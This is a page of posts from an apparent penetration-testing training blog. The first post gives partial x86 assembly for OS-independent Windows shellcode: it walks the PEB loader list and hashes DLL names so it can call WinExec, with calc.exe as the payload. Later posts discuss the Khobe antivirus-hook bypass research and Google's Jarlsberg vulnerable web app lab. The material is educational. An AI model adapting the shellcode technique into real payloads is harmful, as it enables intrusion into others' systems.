Writing OS Independent Shellcode

Penetration testing course – Pro has probably the most complete and comprehensive coverage of System Security among the penetration testing training courses online.

Vipin Kumar and Nitin Kumar, authors of the system security section, covered shellcoding step by step and in great details.

Today they are sharing a shellcode that is OS independent and working on any Windows in the NT family.

The techniques used is explained within the course.

When you see a shell-code online,  90% of the times this is for a specific OS version. Our goal is to have a shellcode that not tied to a particular version of the operating system. 

This translates into the following:

• We need OS independent method of finding a DLL base address
• We just need to invoke it as easily as possible

As an example, we will consider the winexec shellcode, which executes calc.exe as the payload, though more complex payloads can be written, similarly.

[CODE]

   PUSH DWORD  0 ; null terminate the filename

   PUSH DWORD '.exe'

   PUSH DWORD 'calc'

  

   MOV ESI, ESP

  

   PUSH 1

   PUSH ESI

   PUSH DWORD 0xF4C07457  ; Hash for WinExec

   PUSH DWORD 0x50BB715E  ; Hash for KERNEL32.DLL

   CALL Execute_External_Function_Call

  

[/CODE]

As you can see above, we first push the function parameters, then we push function specific parameters needed for invoking it( DLL's hash and function hash ).

Now consider the function Execute_External_Function_Call.
It basically consists of PEB parser so as to find the DLL's base address  and then we use the export table parser to call the function.

So, the algorithm is

parse the PEB block and find each DLL which is loaded into the process

find the DLL name, make it upper case and then calculate the hash

check if calculated hash matches hash provided by the user

if yes, then get the base address and jump to export table parser code

Actual code is

[CODE]

Execute_External_Function_Call:

POP ESI

POP EDI  ; Get the DLL hash which contains our functions

push ESI

mov     eax, [fs:30h] ; read PEB address

mov eax, [eax + 0x0c]

mov eax, [eax + 0x1c]

; at this moment EAX contains first _LDR_ENTRY structure

MOV ECX, EAX

MOV EBX, [ EAX + 4] ; last LDR entry

; below function calculates the hash of DLL name , which is a unicode_string

next_dll:

   push EAX ; store backup

   mov esi, [ eax + 32]

   xor eax, eax

   cdq

   process_next_byte :

          lodsb

         inc ESI 

         cmp al, 0x60

         jl conv_not_needed

         sub al, 0x20   ; make the name upper case

     conv_not_needed:

         ror edx, 0xd  ; calculate hash

         add edx, eax

         test al, al

         jnz process_next_byte

    

      cmp  edx, EDI

      je name_found

      

pop eax

MOV EAX, [ EAX ] ; load next ldr_entry

CMP EAX , EBX

je DLL_not_loaded;

jmp next_dll

; if DLL is not loaded, then we reach here, you know what to do

DLL_not_loaded:

      

name_found: ; so lets get ready to call the function

POP EAX;

MOV EBP, [EAX + 8]; ;lets DIG the base ADDRESS of our DLL

; now EBP contain base address of module

HERE should be the export table parser code

[/CODE]

This kind of shellcode saves a lot of time during a penetration test when the environment to test is heterogeneous. Avoiding to have a specific shellcode for each version of Windows and for each Service Pack level is a big time saver.

If you really want to get into the details of advanced shell coding consider enrolling in our penetration testing training course here.

Khobe. Is the sky falling?

Sky isn't falling but big Antivirus firms are lying as well.
I have already written about the Khobe 8.0 research which headlines have hit almost all the security related websites and blogs: "New malware can bypass all AV's".

I just came across Graham Cluley's blog post on dark reading and Sophos's Paul Ducklin blog post. Both posts are on Khobe that, according to them, is just a hype.
Graham is Sophos CEO and surely cannot be an independent voice, however Paul makes it clear that Sophos is barely exposed to this threat. Kudos to Sophos.

According to Paul:

The attack needs a multiprocessor CPU, a security product which is using SSDT hooks (to the old-timers, these are analagous to directly changing the Interrupt Vector Table under DOS), and a bit of luck

Honestly, it doesn't seem much of an excusation for considering Khobe an unjustified hype:

• All laptop and desktop PC's have 2 or more processors since at least 3 years
• Security products using SSDT are very common (Sophos HIPS is using Microsoft's Kernel Patch Protection so it's immune)
• Have you ever made a risk assessment report including "luck" as a mitigating factor?

Both Graham and Paul conclude their posts saying that

What Matousec is describing is a way of "doing something extra" if the malicious code manages to get past your antivirus software in the first place.
In other words, KHOBE is only an issue if antivirus products miss the malware. And that's one of the reasons, of course, why vendors offer a layered approach using a variety of protection technologies.

Provided that this interpretation of the research is dubious and I would like to atually read what the researchers have to say about it, I find it quite interesting to read "if the malicious code manages to get past your antivirus software in the first place". We know that malicious code IS capable of bypassing AV's through encoding or through custom code. And if you read the latest DBIR from verizon (and I know guys at Sophos did) you know this is the path criminals are taking:

P.S. Here is ESET response

Malware can bypass all Windows based AV's

Now we are in trouble. A research from Matousec has revealed a means by which a hacker would be capable of disabling dozens of modern AV's including McAfee, Symantec and friends.

The method, developed by software security researchers at matousec.com, works by exploiting the driver hooks the anti-virus programs bury deep inside the Windows operating system. In essence, it works by sending them a sample of benign code that passes their security checks and then, before it's executed, swaps it out with a malicious payload.

In the words of the researchers:

If a product uses SSDT hooks or other kind of kernel mode hooks on similar level to implement security features it is vulnerable. In other words, 100% of the tested products were found vulnerable."

SSDT Hooking is one of  the techniques covered in the System Security section of our Penetration testing training course . AV software uses this technique to take control of important aspects of the system and above to control the switching from userland to kernel mode. In the research paper there is a great explanation as to why this technique used by AV can be bypassed using preemption after security checks are passed by the AV.

The hack has a great deal of system security and x86 engineering notions that looks genius and incredibily easy at the same time that we advise you to allocate 5 minutes to read it.

Jarlsberg - A web app testing lab from Google

Thank you Google! A new and very effective way to learn web application security from the developer point of view has been announced: Jarlsberg .

The application is a vulnerable web application coded in Python that pentesters or web developer can try to hack from different perspectives: Black box testing, White hat testing through code inspection (addressed to Python coders)

To get the most out of this lab, you should have some familiarity with how a web application works (e.g., general knowledge of HTML, templates, cookies, AJAX, etc.).

Pre-requisites are a basic understanding of every technique that anyway is not explained as in a training course. However, if you're familiar with web app vulnerabilities finding & exploitation process this will be a nice playground.

The initiative seems well done as it covers a good deal of techniques from the various types of XSS to XSRF and path traversal. The process begins with the request (free) of an account that results in the creation of a new sandboxed Jarlsberg application for you to hack.


Google has done a good job of spreading awareness in the best possible way: by getting end-user's hands dirty.